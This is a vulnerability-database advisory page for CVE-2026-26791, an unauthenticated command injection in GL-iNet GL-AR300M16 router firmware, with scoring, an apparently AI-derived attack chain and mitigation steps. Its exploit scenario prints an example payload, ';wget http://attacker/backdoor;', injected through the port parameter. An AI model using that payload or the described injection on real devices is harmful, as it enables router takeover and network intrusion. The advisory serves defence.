What is the CVSS score of CVE-2026-26791?

CVE-2026-26791 has a CVSS 3.1 base score of 9.8 (Critical). CVSS vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H. EPSS exploitation probability: 0.2%.

How to fix or mitigate CVE-2026-26791?

Within 24 hours: Identify all GL-AR300M16 v4.3.11 devices in your network and isolate them from production environments if possible; disable the echo_server feature if not operationally critical. Within 7 days: Implement network segmentation to restrict access to affected devices, enable logging on all access attempts, and contact GL-iNet for patch availability timeline. Within 30 days: Plan for device replacement or upgrade to patched firmware versions as soon as available; conduct forensic review of device logs for signs of exploitation.

Ar300m16 Firmware CVE-2026-26791

CRITICAL

Command Injection (CWE-77)

2026-03-12 cve@mitre.org

Command Injection Ar300m16 Firmware Gl Inet

9.8

CVSS 3.1 · NVD

View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

Access

Send crafted HTTP request to enable_echo_server
Exploit

Inject shell metacharacters in port parameter
Execution

Execute arbitrary system commands
Impact

Achieve complete device compromise

Vulnerability Assessment

Weakness	CWE CWE-77 OWASP Top 10:2025 A05:2025 - Injection ASVS 5.0 V1 - Encoding and Sanitization Command injection prevention MITRE ATT&CK 1 technique across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. Sign in to read
Exploitation Conditions	GL-iNet GL-AR300M16 running firmware v4.3.11 with enable_echo_server function accessible. No authentication required; remote unauthenticated exploitation against default network-exposed configurations.
Impact	CVSS 9.8 (Critical). Network vector, no auth, low complexity. Routers are perimeter devices – compromise enables traffic interception, DNS hijacking, and pivot to internal networks. EPSS 0.17%.
Exploit ScenarioDerived	An attacker sends a request to the GL-AR300M16 web interface with a port parameter containing shell commands (e.g., ';wget http://attacker/backdoor;'). The router executes the injected commands as root.

Act Now Prioritize within 24-48h. Why: CRITICAL severity.

No patch listed yet 0.2% exploitation probability (EPSS)

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AnalysisAIv1 – Mar 12, 2026

GL-iNet GL-AR300M16 router (v4.3.11) is vulnerable to command injection through the string port parameter in the enable_echo_server function. Unauthenticated attackers can execute arbitrary commands on the router.

Earlier versions of this analysis (1)

v1 Mar 12, 2026 - 19:57 CVSS 9.8

GL-iNet GL-AR300M16 v4.3.11 allows unauthenticated command injection via the enable_echo_server function's port parameter.

RemediationAI

Update firmware when a patch is available. Restrict management interface access to trusted networks. Disable UPnP and remote management.

Affects your stack

Find out whether the stacks and servers you run are on an affected version.

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The enable_echo_server function passes the port parameter to a system command without sanitization (CWE-77). Shell metacharacters in the port value are interpreted by the OS, enabling arbitrary command execution on the router.

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Exploit and PoC references, threat intelligence from 22 sources

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Severity by source

NVD PRIMARY 9.8 CRITICAL

AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Primary rating from NVD · only source for this CVE.

CVSS VectorNVD

Attack Vector

Network

Attack Complexity

Low

Privileges Required

None

User Interaction

None

Scope

Unchanged

Confidentiality

High

Integrity

High

Availability

High

DescriptionCVE.org

GL-iNet GL-AR300M16 v4.3.11 was discovered to contain a command injection vulnerability via the string port parameter in the enable_echo_server function. This vulnerability allows attackers to execute arbitrary commands via a crafted input.

Executive ViewAI

Why It Matters

GL-iNet GL-AR300M16 routers running v4.3.11 contain a critical command injection vulnerability that allows unauthenticated remote attackers to execute arbitrary commands with no patch currently available. Organizations using this router model face immediate risk of network compromise, data exfiltration, and lateral movement into corporate infrastructure.

Business Impact: Severe

Compensating Controls

Disable the echo_server function entirely if operationally feasible; implement strict network access controls limiting connectivity to affected routers (firewall rules, VLANs); deploy WAF/IDS rules to detect and block suspicious input to the port parameter; restrict administrative access to local/VPN only; monitor device logs for command injection patterns; consider temporary replacement with alternative router models; implement network segmentation to prevent compromised router from accessing sensitive systems.

Threat Intelligence Overview

EPSS Score

0.2%

Top 62% exploitable

Data Quality

5 sources

Confidence: Medium

NVD

CVE.org

EPSS

GitHub

VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue

Severity CRITICAL

CISA KEV No

Public POC No

EPSS 0.2%

Patch available No

Active threat No

Deciding rule

CRITICAL severity

What every action level means

Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.

Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.

This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.

This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.

Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.